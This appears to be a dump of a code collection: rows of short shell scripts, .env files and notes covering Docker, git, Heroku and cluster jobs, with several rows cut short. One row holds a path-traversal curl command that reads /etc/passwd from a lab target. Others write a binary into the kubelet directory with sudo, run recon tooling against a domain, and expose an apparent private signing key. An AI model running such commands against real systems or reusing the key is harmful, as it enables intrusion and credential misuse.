blob_id stringlengths 40 40 | length_bytes int64 7 488k | source stringlengths 7 488k |
|---|---|---|
1f3e082a8334957f0cb3fe97989c3d99e8a450b4 | 129 | version https://git-lfs.github.com/spec/v1
oid sha256:f5a35bdc5df3d483de3d24506eb0ba323567b06dcf8c4c80e713747faf1c8250
size 1561
|
c74422515a9e7a010626d67fd75896be7aa1a4b6 | 79 | #! /bin/bash
wget -i files.txt
bzip2 -d *.bz2
mkdir src/data
mv *.csv src/data
|
809b1f0795ba35ab5f70734b1ea46bbea8d244a1 | 24 | # THis is a test script
|
2bb253531a641e2408710a8274e8387091827669 | 48 | #!/bin/bash
docker run -p 8080:8080 -d npmlazy
|
13048cb57312ada57440ba6c080ac923d743325e | 87 | #!/bin/bash
curl -s "http://darkly/?page=../../../../../../../etc/passwd" | grep flag
|
fa6566f714195959097ab0eabbd4790af67da72f | 1,567 | #!/bin/bash
source `pwd`/`dirname $0`/.grd/config
USAGE="usage: grd COMMAND [ARGS]\n
\n
Where COMMAND is one of:\n
\tadd\t\tAdd a todo item\n
\tfinish\t\tMark a todo item as completed\n
\tlist\t\tList all open todo items\n
\tremove\t\tRemove a todo item from the list"
function _error {
echo -e $@
exit 1
}
f... |
593afb0072cb7b082159a19f26bad605cce4b593 | 1,224 | #!/bin/bash
. ./common.sh
#VMWare download cannot be done manually, so assumes that vm installation package in ./tmp
VMWARE_VERSION=4.0.4
VMWARE_INSTALL_PKG=VMware-Player-${VMWARE_VERSION}-744019.x86_64.txt
sudo chmod u+x ./tmp/$VMWARE_INSTALL_PKG
sudo ./tmp/$VMWARE_INSTALL_PKG
#For 12.01, needs a patch
VMWARE_PATC... |
327e6dc920fcbdd0127fa65a4f8fdad753a394d7 | 167 | eval `opam config env`
opam depext -uiy mirage
cd ~
git clone -b easy https://github.com/hannesm/mirage-skeleton.git
make -C mirage-skeleton && rm -rf mirage-skeleton
|
4abf72f74b615f3dee9b90a98f1597bd9e110db9 | 576 | #!/bin/bash
#SBATCH -t 1:00:00
#SBATCH -n 24
#SBATCH -p short
# Load modules
module load eb
module load Miniconda2
# loading virtualenv
source activate qiime1
# setting temporary directory
export TMPDIR=~/qiime_tmp
# Demultiplexing samples
split_libraries_fastq.py \
-m /home/cbmucl12/map_complete.tsv \
-i /home/cbm... |
9557bf7acd9f61ec18356266c0606624a92dc683 | 594 | # POSTGRES_HOST=webnsurf-nestjs-postgresql
# POSTGRES_USER=postgres
# POSTGRES_PASSWORD=postgres
# POSTGRES_DB=webnsurf-nestjs
# POSTGRES_PORT=5432
# JWT_SECRET=123456
# PORT=3000
# IMAGE=webnsurf-nestjs-api
# BUILD_ID=latest
# NAME=webnsurf-nestjs-api
# STACK=webnsurf-nestjs
# URL=nestjs.local.webnsurf.com
# DEV_URL=... |
c70bc2e8a39e76f8c067e79b4edfa002383cf0c2 | 266 | 1.
$ history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | sort -nr | head -n10 | column -c3 -s " " -t
2.
$ awk '!a[$0]++' ./logs
3.
$ awk '{gsub(/ /, "", $0); print } ' ./file_with_heading_space
|
79bc539139306cfe5789ba07048ad0f3db541017 | 361 | #!/bin/sh
systemctl enable --user --now polybar@main:1.service
systemctl enable --user --now polybar@main:2.service
systemctl enable --user polybar-watcher@main:1.service
systemctl enable --user polybar-watcher@main:2.service
systemctl enable --user polybar-environment-watcher@main:1.service
systemctl enable --user po... |
e7d81b6e59614f6af358a1751e492effe1ce76df | 432 | TWITTER_USER=12345
TWITTER_CONSUMER_KEY=asdf
TWITTER_CONSUMER_SECRET=asdf
TWITTER_ACCESS_KEY=12345-asdf
TWITTER_ACCESS_SECRET=asdf
TWITTER_ENVIRONMENT=asdf
TWITTER_SOURCE=<a href="https://www.nintendo.com/countryselector" rel="nofollow">Nintendo Switch Share</a>
MASTODON_SERVER=m.bonzoesc.net
MASTODON_CLIENT_KEY=asdf
M... |
3c571845f69814decc8400dc34721a8abaab4f8b | 196 | #!/usr/bin/env bash
curl https://raw.githubusercontent.com/reportportal/reportportal/master/docker-compose.yml -o docker-compose.yml
docker-compose -p reportportal up
open http://localhost:8080 |
02863f6c88800ba1d0e78ef14911e0ceaf6dfc74 | 5,585 | #!/usr/local/bin/zsh
function get_L_low () {
if (($1 < 100)); then
echo $1
elif (( ($1 / $2) < 100)); then
echo 100
else
echo $(($1 / $2))
fi
}
function get_X_low () {
if (( ($1 / $2) < 1 )); then
echo 1
else
echo $(( $1 / $2))
fi
}
set -x
data_dir... |
6792fa979f148f40e328ca28b949b32b7be8740a | 148 | #!/usr/bin/env bash
heroku run python manage.py migrate
heroku run python manage.py sqlmigrate ground_truth 0001
heroku run python manage.py migrate |
afa522e7473517c95065ed4adb40c50eab0c4d7a | 91 | # script to run the website locally for testing
python -m http.server 8000 --bind 127.0.0.1 |
18acb3d4861ad259bdf76b369c655984d2239d84 | 186 | #!/bin/bash
if [ ! -t 0 ];then
file=/dev/stdin
elif [ -f $1 ];then
file=$1
else
echo "Usage: $0 code.c"
echo "or e.g. head code.c|$0"
exit 1
fi
pygmentize -f terminal -g $file
|
4b98d1d9886c0e736caa0754aca5fbc4218e12c2 | 338 | #!/bin/bash
export RTFBLOG_DB_DRIVER=sqlite3
export RTFBLOG_DB_TEST_URL="test.db"
migrate -path=db/sqlite/migrations -database="sqlite3://$RTFBLOG_DB_TEST_URL" up
echo "Running tests on $RTFBLOG_DB_DRIVER..."
go test -covermode=count -coverprofile=profile.cov -v ./src/...
exit_status=$?
rm -r $RTFBLOG_DB_TEST_URL
... |
528007da5e892a62909ae97044e83b6700a1ec00 | 879 | #!/bin/bash
remote_host=$1
dest_dir=$2
user_name=$3
user_password=$4
log_date=$(date +"%Y_%m_%d")
log_folder="logs_folder_"$log_date
today=$(date +"%d")
#we could certainly use $APACHE_LOG_DIR var is this exist on ENV
apache_log_dir=/var/log/apache2
#make a local folder to copy all log files matching the condition
m... |
293535ff9b912cd4edc8400bc879219319fca84b | 212 | #!/bin/bash
# Launch ncmpcpp in a terminal with class "music" or with name "Music Terminal"
# st / xst
xst -c music -e ncmpcpp -c ~/.config/ncmpcpp/config_fancy
# Termite
# termite --class music --exec ncmpcpp
|
63f54b687d02872161d42113540f0282a1c79bcc | 42 | #! /bin/bash
set -e
set -v
startBroker.sh
|
45d27ea143989e5716d8a24d32a86518a2110c76 | 115 | #!/bin/bash
find ~/Pictures/Wallpapers -type f -exec file {} \; | grep 1920x1080 | cut -d : -f 1 | tee lockscreens
|
6db8b4ff54042f5414b07f736e3c565afcd12eea | 138 | #!/bin/bash
find $1 -type f | while read FILENAME; do
jenkins-jobs --conf /etc/jenkins_jobs/jenkins_jobs.ini update "$FILENAME"
done
|
23537322795b492db999362d3075f959d4817217 | 503 | #!/usr/bin/env bash
eval `docker-machine env manager1`
docker service rm movies-service notification-service cinema-catalog-service payment-service booking-service
for server in manager1 worker1 worker2
do
eval `docker-machine env $server`
for image in crizstian/movies-service crizstian/cinema-catalog... |
9745c6b53cfd33a5be6c12f1c449b208028fbbf9 | 310 | #!bin/bash
DIR=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )
srcdir=/data/work/code/srvcode-dev
for file in $srcdir/*
do
if test -f $file
then
bname=$(basename $file)
ln -s $srcdir/$bname $DIR/$bname
fi
if test -d $file
then
bname=$(basename $file)
ln -s $srcdir/$bname $DIR/$bname
fi
done
|
86f0ab1023768c3f6c9007f379accdb8271ff58e | 151 | echo "Performing a range of git commands..."
eval "nice -15 git pull origin master; nice -15 git add -A .; nice -15 git commit -m "`hostname` $USER";" |
3311f55497be49577da2c71e218ae13e55151062 | 394 | #!/bin/bash
TORADEXDIR=$HOME/toradex
export CROSS_COMPILE=aarch64-linux-gnu-
export PATH=$TORADEXDIR/toolchain/gcc-arm-8.2-2019.01-x86_64-aarch64-linux-gnu/bin:$PATH
export PATH=$TORADEXDIR/reps/u-boot-toradex.git/tools:$PATH
export ARCH=arm64
make imx_v8_defconfig
make -j4 Image.gz freescale/imx8mm-verdin-nonwifi-... |
fe2534fee9ef4ba2fc7229d5971edf255a0392c7 | 111 | #!/bin/bash
source /etc/profile
select mode in "mirror" "pair" "rogue"; do
exec wemux $mode;
done
exit 1
|
80e92971dfda5fc0c0b5076fddc1d918da92bf2b | 521 | #!/bin/bash
find resources/ -name '*.entity' -type f -not -path '*/saves/*' -exec rm {} \;
find resources/ -name '*.scene' -type f -not -path '*/saves/*' -exec rm {} \;
find resources/ -type d -empty -delete
find resources/scenes/* -mindepth 0 -maxdepth 0 -type d -not -path '*/entities*' -exec mkdir -p '{}/entities' \... |
5fd120f684585732bf2229b8ab524a413e3a35da | 265 | #!/bin/bash
set -e
cd $(dirname $0)
docker build -t nubit/base base/
docker build -t nubit/devel base_devel/
docker build -t nubit/0.4.2 old/0.4.2/
docker build -t nubit/0.5.2 old/0.5.2/
docker build -t nubit/data_feed data_feed
docker build -t nubit/proxy proxy
|
034aa6a3d81baaf4b2825166928d3272a689c609 | 1,301 | #!/bin/bash
# This script is to be run within the zephyr CI docker container
# It reproduces a vulnerable sample of zephyr-OS for the given CVE
set -x
set -e
# Create zephyr workspace for the given version if needed
workspace_dir=/workdir/workspace-$ZEPHYR_VERSION
if [ ! -e "$workspace_dir" ]; then
west init --mr... |
f64598ea3f5f4a739d60565ba5916da373fae641 | 760 | #!/bin/bash
HERE=$(pwd)
OARS=$(find $DOWNLOAD_ROOT -name "*.oar")
for oar in $OARS; do
cd $HERE
echo "Installing application '$oar'"
rm -rf $APP_INSTALL_ROOT
mkdir -p $APP_INSTALL_ROOT
cd $APP_INSTALL_ROOT
cp $oar $APP_INSTALL_ROOT
unzip -oq -d . $APP_INSTALL_ROOT/$(basename $oar)
name... |
41acbf8c947c4e7e9f940258d64d938fed0974ec | 5,829 | #!/usr/bin/sh
#Open main.cf for editing:
haconf -makerw
#Add Frauddg disk group resource for tmpboa:
hares -add falcon_dg_frauddg DiskGroup falcon
hares -modify falcon_dg_frauddg Enabled 1
hares -modify falcon_dg_frauddg DiskGroup frauddg
#Add Redo Volumes:
hares -add oracle_v_dbredo1 Volume oracle
hares -modify ... |
a5c81c8d6dc4f25d50d66f885ebceec2a1ca0fa6 | 600 | #!/usr/bin/env bash
TMP_DIR=/tmp/blog/
ORIGIN_ADDRESS=git@github.com:jjyyjjyy/tech.git
ORIGIN_BRANCH=gh-pages
cd notes
mvn clean asciidoctor:process-asciidoc
rm -rf ${TMP_DIR} && mkdir -p ${TMP_DIR}
cp -r target/generated-docs/** ${TMP_DIR}
cd ${TMP_DIR}
git init
git remote add origin ${ORIGIN_ADDRESS}
git add .
git c... |
e2829c23fc72b71e8f096c98185d821282572b60 | 816 | #!/bin/bash
source $OPENSHIFT_CARTRIDGE_SDK_BASH
contextfile=$OPENSHIFT_REPO_DIR/.openshift/config/context.xml
jbossews=$OPENSHIFT_PGCLIENT_DIR/conf/tomcat7
newdatasources=$jbossews/context.xml
if [ -n "$OPENSHIFT_JBOSSEWS_IP" ];
then
client_result "configuring jbossews context.xml";
if [ -f $context... |
954ceaae82beaf6a920a458359b39053a408cac3 | 116 | #!/bin/bash
name=`date +%Y%m%d`
test -d ${name} || mkdir -p ${name}
cd ${name}
test -f README.md || touch README.md
|
7daec98136c2968f582b8d45ea195726baad87c8 | 140 | #!/bin/bash
BIN=$1
OUTDIR=$2
TIMEOUT=$3
INDIR=$4
timeout -k 9 ${TIMEOUT}s $BIN 612 1 0 4829 4 200 1 399 500 1 1 1 &> $OUTDIR/o1584
|
8977c0513c58cf9eedad5cf373a5cba1a355d953 | 495 | #!/bin/bash
export BASH_MUSIC_FILE=~/bin/example.mp3
export BASH_MUSCI_PLAY_SCRIPT=~/bin/bash-music-play.sh
function playMusic ()
{
if [ "on" = "$MUSIC_ON_COMMAND" ]; then
$BASH_MUSCI_PLAY_SCRIPT `history 1 | head -1 | awk '{print $2}'`
fi
}
alias musicon='export MUSIC_ON_COMMAND=on;trap playMusic DEBUG'
alias ... |
7c8dccae812b4930a6d523cd97b8507b0c9579f5 | 176 | #! /usr/bin/env bash
# Deletes PVCs from current namespace
# TODO: Namespace option
kubectl delete pvc $(kubectl get pvc | grep -v postgresql | awk '{if (NR!=1) print $1}')
|
f8bba84c7332df0a45923edaaee30823c3b70690 | 739 | curl -X GET -i http://localhost:8080/fhbay/api/hello
curl -X GET -i http://localhost:8080/fhbay/api/customers
curl -X GET -i http://localhost:8080/fhbay/api/customers/1
curl -X POST -i http://localhost:8080/fhbay/api/customers/create -H "Content-Type: application/json" --data '{"email":"marge.simpson@burnspowerplant.co... |
b7e691c1c8dc160b900a540b23afacd0ca98abab | 191 | #!/bin/bash
if [ ! -f /var/www/hostile/level.txt ] ; then
touch /var/www/hostile/level.txt
echo "1" > /var/www/hostile/level.txt
fi
chown -R www-data:www-data /var/www/* 2>/dev/null
|
3fe5f8a2bb54bd64bf757249939244b796cbecfa | 140 | #!/bin/sh
for i in $(cat PRODENG-2753-users)
do
echo "Checking user $i"
aws iam list-access-keys --user-name $i --profile=awsdevus
done
|
d4d2e2932b2ce16e770aa7f46d5c3d63037c8b81 | 50 | NODE_PATH=./src
REACT_APP_NAME=Astoscreen-frontend |
ddeb20d63ed413d78c978dc3f86287dc7c644153 | 1,817 | #!/usr/bin/env bash
# Build Path: /app/.heroku/php/
# Build Deps: libraries/zlib, libraries/pcre
OUT_PREFIX=$1
# fail hard
set -o pipefail
# fail harder
set -eux
DEFAULT_VERSION="2.4.10"
dep_version=${VERSION:-$DEFAULT_VERSION}
dep_dirname=httpd-${dep_version}
dep_archive_name=${dep_dirname}.tar.gz
depdeps_archive_n... |
576e32eb7f45b8431bf48178a522336962b6b5e7 | 55 | #!/bin/sh
# written by S.Kaneko. Public domain.
exit 0
|
c768c469d59b982c375cbf8889110cfb1aa74d50 | 1,736 | #!/bin/bash
echo ""
echo "\t\t--- Now configuring tests/token EOS Functional Test ---"
echo ""
# @token owner & active
owner=`cleos create key --to-console | grep "Private key: " | awk '{print $3}'`
active=`cleos create key --to-console | grep "Private key: " | awk '{print $3}'`
owner_pub=`cleos wallet import -n evi... |
9868f043c8cfb36ca27c19f25bfe2326d9f701d7 | 506 | # Takes input files (Wikipedia pagecounts) as arguments and process them
# ungzip all input files to stdout
gunzip -c $* |
# sum all lines starting with "cs" and not too long
# finally print the associative array
awk '
$1=="cs" && length($2)<100 {a[$2]+=$3}
END { for (i in a) print i,a[i] }
' |
# sort lines by secon... |
75b29807329d2d04bbfdc4a4ca92b2f54334a49b | 82 | #!/usr/bin/env bash
cd src && npm install --production && cd ..
s platform publish |
1b771aa530bd4edd6fa25957c76208d2c73d3bde | 189 | #!/bin/sh
# Try state-normal, else fallback to state-basic
if s6-rc-db list bundles | grep -xFq state-normal;then
s6-rc -u change state-normal
else
s6-rc -u change state-basic
fi
|
cf427f0d622eabffda4a600e6aaaed7318f47fc2 | 6,724 | clear
echo "\033[93m__ __ _ __ ___ _ ___ _____ _____
| \/ |_ ____ _| |\ \ / / | | |_ _|_ _| ____|
| |\/| | '__\ \/ / __\ \ /\ / /| |_| || | | | | _|
| | | | | _ > <| |_ \ V V / | _ || | | | | |___
|_| |_|_|(_)_/\_\\__| \_/\_/ |_| |_|___| |_| |_____|"
sleep 3m
package="com.tencent... |
d9e5b8f48a6b3e94b6d81b0ce38f1bb03e5ada47 | 392 | #!/bin/bash
ssh_key=$HOME/.ssh/id_rsa
if [ -e "$ssh_key" ]; then
echo "ssh key already exists"
else
echo "ssh key does not exist"
echo "creating ssh key"
ssh-keygen -t rsa -q -P "" -f $HOME/.ssh/id_rsa
fi
ansible-playbook 0-prereq.yml --extra-vars "@vars.yml"
ansible-playbook 1-vmdeploy.yml --extra-var... |
2d061b0d0cf3314fa9d73edc27b1f899aa6a63a6 | 70 | #!/bin/sh
apt-get -y autoremove --purge
apt-get -y clean
rm -rf /tmp
|
e19a6f63a1cd14b91a4ccf919fd07fe2c8e15ff6 | 687 | #!bin/bash
clear
read -p "Prefijo de las tablas (sin _ ): " PREFIJO
echo "PREFIJO=${PREFIJO}_" >> .env
read -t 1 -p "Listos..." timeout
echo ""
NOMBRE_PROYECTO=${PWD##*/}
read -t 1 -p "Obteniendo nombre del proyecto..." timeout
echo ""
echo "NOMBRE_PROYECTO=$NOMBRE_PROYECTO" >> .env
echo "DB=${NOMBRE_PROYECTO}_db" >> .... |
d1640b4570c4c5cc77d075cd43bb2a3a26803b03 | 1,083 | #!/bin/bash
if [ ! -d /data/ssh ]; then
mkdir -p /data/ssh
fi
if [ ! -f /data/ssh/ssh_host_ed25519_key ]; then
echo "Generating /data/ssh/ssh_host_ed25519_key..."
ssh-keygen -t ed25519 -f /data/ssh/ssh_host_ed25519_key -N "" > /dev/null
fi
if [ ! -f /data/ssh/ssh_host_rsa_key ]; then
echo "Generating... |
56e6b4c8f4b4b6b3ecee574f566c439a32712383 | 67 | #!/bin/bash
python3 KBO_graph_maker.py
python3 data_adapter.py
|
a501d3af3f3643cb140510d298a7038f6e32c73b | 2,336 | #! /bin/bash
function column-err {
printf "\033[41m%-10s\033[0m" "$1"
}
function column-ok {
printf "\033[32m%-10s\033[0m" "$1"
}
function column-neutral {
printf "\033[33m%-10s\033[0m" "$1"
}
function column-heading {
printf "\e[48;5;237m%-${HEADER_SIZE}s\e[0m" "$1"
}
function proj_name() {
column-heading... |
6bdf41d9b0a705d49c801367b7c3a416a5bafd1e | 980 | #!/bin/bash
echo '==== Run 1 ====' > raw_results.txt
echo 'command: siege -c 5 -b -r 3200' >> raw_results.txt
echo 'uptime:' `uptime` >> raw_results.txt
{ time siege -R siegerc -c 5 -b -r 3200 -f ./urls.txt ; } 2>> raw_results.txt
echo '' >> raw_results.txt
echo '==== Run 2 ====' >> raw_results.txt
echo 'command: sieg... |
ff7d18ad6d9b3d91c9113e3c354a0cfa13977f1f | 109 | #!/bin/sh
# I dont know why, but this has to be done for CRA to work
chmod -R 0777 node_modules/
exec "$@"
|
274cdcb53bb0d221796c01f788952fbc0a86b95a | 1,325 | #!/bin/sh
# Alias all the things!
# Git
alias gs="git status"
alias ga="git add"
alias gad="git add ."
alias gco="git checkout"
alias gc="git commit"
alias gcm="git commit -m"
alias gl="git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --dat... |
44a93c8a60fa3aae1d8ad7048c5e9cf11a6daf83 | 495 | #! /bin/bash
if [ "${FLUXTESTSVPATH}" != "" ]; then
export PATH=${FLUXTESTSVPATH}
unset FLUXTESTSVPATH
fi
if [ "${FLUXTESTSVLDPATH}" != "" ]; then
export LD_LIBRARY_PATH=${FLUXTESTSVLDPATH}
unset FLUXTESTSVLDPATH
fi
unset SCR_FETCH
unset SCR_DEBUG
unset SCR_JOB_NAME
unset SCR_PREFIX
unset SCR_CNTL_BASE
unset... |
573c59bfb9af159f3b558aa1e7a620bb9a087ad2 | 123 | dec=727
oct=$(( 01327 ))
bin=$(( 2#1011010111 ))
hex=$(( 0x2d7 ))
# or e.g.
(( bin = 2#1011010111 ))
(( baseXX = 20#1g7 ))
|
bf15b00fe7e56e3363fba22afa913459f82ef996 | 168 | #!/bin/bash
echo "Configure postgresql server!"
psql --version
psql -c "CREATE ROLE root SUPERUSER LOGIN;" -U postgres
psql -c "CREATE DATABASE logs;" -U postgres
|
0dc9fc9c61ddb3da4018b36334264da2575d9856 | 117 | #!/bin/bash
docker run -ti --volume $(pwd)/:/app -e XDEBUG_CONFIG="remote_host={{0.0.0.0}}" gis-calculator php "$1"
|
a9bc89c75a2cf1df6c3fa9ae4c24c780f9f18258 | 37 | set -e
adonis process:ready:instance |
29498a8295af037f6a9f7ee2ed4f183c47b3524b | 301 | #!/bin/bash
envApplication='production'
project='[PRODUCTION]currencytracker'
dockerfilePath='../Dockerfile'
containerName='currencytracker'
containerRepository='225519998962.dkr.ecr.us-east-2.amazonaws.com'
clusterName='prod-currencytracker'
. ./deploy-common.sh --stop-tasks --upload-image --login |
30c137549ab59035a81cf48e0f19aafd4ff42f69 | 126 | #!/bin/sh
export AWS_SDK_LOAD_CONFIG=TRUE # https://github.com/aws/aws-sdk-js/pull/1391
export AWS_ACCOUNT_ID=3458-7928-9395
|
ec2241249ffb8e6b0a108cd747020e4934179be0 | 914 | #!/bin/bash
goal_containerize() {
docker build . -t shelf2-backend
}
goal_run() {
rails s -p 3001
}
goal_outdated() {
bundle outdated
}
goal_linter() {
bundle exec rubocop
}
goal_test-unit() {
bin/rake spec:all
}
goal_test-pact() {
bin/rake pact:verify
}
goal_test-container() {
bin/rake spec:infra
... |
6d8dec9061446d8c68c6a823cb34baf2ae20b230 | 1,985 | #!/bin/bash
# Adapted JackHmmer script based on the animal venomics hmmer pipeline (av_hmmer_pipeline, see *greatfireball*, see *AnimalVenomics*)
# For single or multiple sequences (.fas) located in /alignment folder a jackhmmer search is performed against protein translated assembly in folder /assemblies.
# Matching ... |
a4ef62d0fdc5ab247d1c1344eb9772b73981ce87 | 102 | . venv/bin/activate
export FLASK_APP=todo_app
export FLASK_ENV=development
flask run
#flask init-db
|
01150b6f1c20121ee0879c347cb4131e45df0d55 | 205 | #!/bin/bash
IFS=
input=`cat`
echo "$1" > sol.py
echo "$input" > input.txt
timeout -s SIGKILL $2 python3 sol.py < input.txt > out.txt
echo $?
if [ $? -eq 0 ]
then
cat out.txt
else
exit $?
fi
exit
|
a00bfd7a75c3e72166f5a457885a624aff11fa9d | 298 | #!/bin/bash
set -xe
ksversion=$1
apiKey=$2
docker run -t --rm -e KATALON_USER_ID=`id -u $USER` -v "$(pwd)":/katalon/katalon/source katalonstudio/katalon:$ksversion katalon-execute.sh -browserType="Chrome" -retry=0 -statusDelay=15 -testSuitePath="Test Suites/TS_RegressionTest" -apiKey=${apiKey}
|
57ff818d4065443b014dc1a80c66fc7d5a38c15e | 357 | source "${TEST_DIR}/funcs.bash"
port=$(choose_port)
test_start "Serving a basic web page"
setsid $TEST_DIR/start_server "${port}" &
pid=${!}
wait_port "${port}"
actual=$(timeout 5 wget -O- "http://localhost:${port}/this/does/not/exist.html")
return="${?}"
stop_server ${pid}
# Return value will be 8 for a server e... |
47ee5442435993f949a38d0dd69ddf449e9b2671 | 335 | #!/bin/bash
for i in `seq 100`
do
./bin/week3 -gen data/lattice-fcc-$i.json data/fcc-$i.json
./bin/week3 -evolve 0.1 100000 50000 data/fcc-$i.json data/fcc-evolution-$i.json
./bin/week3 -gen data/lattice-hexa-$i.json data/hexa-$i.json
./bin/week3 -evolve 0.1 100000 50000 data/hexa-$i.json data/hexa-evolutio... |
c79b18dacc10a2383d55250f6d462ee315490d2c | 2,728 | #!/usr/bin/env bash
set -e
set -x
# SCRIPT=$(readlink -f "$0")
# SCRIPTPATH=$(dirname "$SCRIPT")
rm -f tmp/*.jar
# mvn clean install -DskipITs
# mvn clean install -pl debezium-connector-oracle -am -Poracle -DskipITs -Dinstantclient.dir=/root/work/docker_env/a6test/kafka/dbz-oracle/tmp/instantclient_12_2
# mvn clea... |
cfa6f90e9ae58a9ee0301d4ecffeb1fdd72b10d7 | 433 | #!/bin/bash
#PBS -l walltime=40:00:00,nodes=1:ppn=2
#PBS -m n
#PBS -k oe
#PBS -j oe
## Expected environment variables (passed with -v argument)
# p1 :: Pair directory
# p2 :: Destination directory
cd $PBS_O_WORKDIR
echo $PBS_JOBID
echo $PBS_O_HOST
echo $PBS_NODEFILE
module load gdal/2.1.3
module load asp
echo $p... |
a382abf7c9fa971ae4588a4e7fda35cc8595f020 | 1,080 | #!/usr/bin/env bash
#
# Usage: rbenv use NAME [--global|--shell|--local]
#
# Switches Ruby versions without having to keep patchlevels in mind.
set -e
[ -n "$RBENV_DEBUG" ] && set -x
if ! type rbenv-whatis &>/dev/null; then
echo "rbenv-whatis plugin not installed, please run:" >&2
echo -e "\n\tgit clone https://gi... |
7078788d6a111b36212e03e6421c451b935a94d9 | 418 | #!/bin/sh
#-----------------------------------------------------------------
# Scan ps every 5 minutes to see if u16sentry is running,
# Restart if not
# Chmod 600 to all u16sentry logs in /tmp
#-----------------------------------------------------------------
if test -z "`ps -ef | grep u16sentry | grep -v grep`"
then
... |
bfd16783b50eb6ca3a0f974eaf55184e352b4bf1 | 58 | COMPOSE_PROJECT_NAME=rke_registry
SUBNET_PREFIX=10.8.101
|
d8cc38ce79af2d3ddc2fe1c35de184502f358360 | 60 | VUE_APP_APOLLO_ENGINE_SERVICE=y
VUE_APP_APOLLO_ENGINE_TAG=n
|
ed8af8386d57b5fbd5f088ae59b614b3cf3bdee8 | 17 | # day 3 bootcamp
|
d8918fef790980883d4ac97656bfbc0d62c1bf48 | 637 | ## !/bin/bash
## Back up a single project directory
## Mingda Lu
# user input directory
if [ $# !=1 ]
then
echo 'input directory'
exit
fi
# check if the directory exists
if [ ! -d ~/folder/$1 ]
then
echo 'the given directory does not seem to exist (possible typo?)'
exit
fi
date=`date +%F`
# do we already h... |
9d134731057a2af309595258afb6931baca46d25 | 238 | echo "overall start"
while true
do
echo "round start"
echo "round started" >> .monitor
date >> .monitor
python main.py 2>main.err
echo "round end"
echo "round end" >> .monitor
date >> .monitor
sleep 2
done
|
65938b423dfcda73b6c7899035909d4eba7425ae | 888 | # A simple for loop
sum=0
for i in 1 2 3 4
do
sum=$(($sum+$i))
done
echo "The sum of $i numbers is: $sum"
# Combine the use of a for-loop with a case statement
for filename in $(ls)
do
# Take extension available in a filename
ext=${filename##*\.}
case "$ext" in
c) echo "$filename : C source fil... |
824ee98ed61514d0b1bbe394e2912ed21b1dea30 | 284 | #! /bin/sh
amixer set Capture toggle
ans=$(amixer sget Capture toggle | grep -Pom1 '(?<=\[)(on|off)(?=\])')
echo "Registered state after change: $ans"
if [ "$ans" = "on" ]; then
notify-send " Microphone On"
elif [ "$ans" = "off" ]; then
notify-send " Microphone Off"
fi
|
63885b2fb48107109aaf56a71dbf02b613964e5b | 902 | ## Copyright (c) 2014-2015 André Erdmann <dywi@mailerd.de>
##
## Distributed under the terms of the MIT license.
## (See LICENSE.MIT or http://opensource.org/licenses/MIT)
##
<% if ABDUCT_DIE= %>
<% define _DIEFUNC __die %>
<% else %>
<% define _DIEFUNC die %>
<% endif %>
## @noreturn die ( message=, exit_code:=@@EX_D... |
2414720567de522fb018a29a99c6e20270679222 | 784 | #!/bin/sh
set +e
echo "starting shell script"
cleanup ()
{
if ! sudo rm $BINARY; then
echo "failed sudo rm $BINARY"
fi
exit 0
}
# cd into directory that lets us create and execute binaries
if ! cd /var/lib/kubelet; then
echo "failed cd /var/lib/kubelet"
exit 0
fi
# create the file
if ! sudo touch $BINARY; t... |
28be6e2d410609968c77bcf98e2db5692d9b77f8 | 3,173 | GUARDIAN_SECRET_KEY={"d":"Dc31SPgIPK4YxYQdpLjI1i-1L55ij6fnk-eo4JTXapmrIrUZrMi6GtmIVsaMkewiYLrFLy3rPuAOfPLX5Rzdsnz04M9n8IXhIoj2sAVB7Xp0Ei4kLdI78ZIakC5yfzfq6fzN92dx1FxSaRnAbmNHq5L8m8VxY-AmBfeopha4x4tDd9rVShFOLkVJrlPfEvYuPV6-W2FKIN2EZuXUE-fPF3N4WLbH41X8R6VGDuN1jcBk9shNglBuJXIxqkT6QRhTpcYQzjRZmptxzqzGHQtzmQWGXzgVgjvVSbiAm6... |
377b297a6ede4daee30ce3cd61139021a5893657 | 219 | #!/usr/bin/env bash
# [global]
SCRIPT_PATH="$(cd "$(dirname "$0")"; pwd)"
cd "${SCRIPT_PATH}"
pids=$(ps -ef | grep './sipmediaserver' | grep -v 'grep' | awk '{print $2}')
if [ -n "${pids}" ];
then
kill ${pids}
fi
|
6f3339b08652165bbcfc3ee3dc1c5f0b7d7afe22 | 458 | #!/bin/bash
if ! ${PRESTO_HOME}/bin/launcher status; then
${PRESTO_HOME}/bin/launcher start;
sleep 2;
fi
printf "Waiting for presto to initialize.."
until ${PRESTO_HOME}/bin/presto-cli-${PRESTO_VERSION}-executable.jar --execute 'SELECT * FROM system.runtime.nodes' &> /dev/null ;
do
printf ".";
sleep 1;
prin... |
dd8d89864ffbb3dadebe837602b73d5f1ceb404e | 2,551 | #git的eclipse插件
eclipse git plugin
http://www.eclipse.org/egit/download/
git on windows
Step 0
#Git Bash命令行工具
#下载windows客户端 http://windows.github.com/
#跟linux下的命令行一样,有个别命令无法使用 比如 $> ll,窗口中的内容无法拷贝(右键无效)
Step 1
#安装完成后设置账号,邮箱,提交的时候显示的名称。
git config --global user.name "jifeng"
git config --global user.e... |
a8e1bad22bef1f4135bb9693a29a49557c659844 | 631 | #!/bin/sh
if test -d .svn; then
COMMAND="svn info"
elif test -d ../.git; then
COMMAND="git svn info"
else
echo "Unknown repository type. Make sure you're in the top-level of"
echo "the reviewboard directory."
exit 1
fi
REVISION=`$COMMAND | grep Revision: |cut -f2 -d" "`
./contrib/tools/post-review --output-diff... |
b94d0ae84fea30365043671b510b3e85013e48c1 | 650 | #/bin/bash
maryam -e crawler -d $1 | tee -a maryam-$1.txt
maryam -e dns_search -d $1 | tee -a maryam-$1.txt
maryam -e entry_points -d $1 | tee -a maryam-$1.txt
maryam -e wapps -d $1 | tee -a maryam-$1.txt
maryam -e interest_files -d $1 --logs --backup --apache --admin --soap | tee -a maryam-$1.txt
maryam -e dnsbrute ... |
3388ac5b4656ee0dc1e1b9b6d2311773c3ef968a | 108 | #!/bin/bash
sbt -mem 2000 -Dsbt.log.format=false $@ release "electron win" "electron linux" "electron mac"
|
cdf883ceed33dbbd548b92f869131057f9c6d62e | 1,726 | #!/usr/bin/env bash
# Please Use Google Shell Style: https://google.github.io/styleguide/shell.xml
# ---- Start unofficial bash strict mode boilerplate
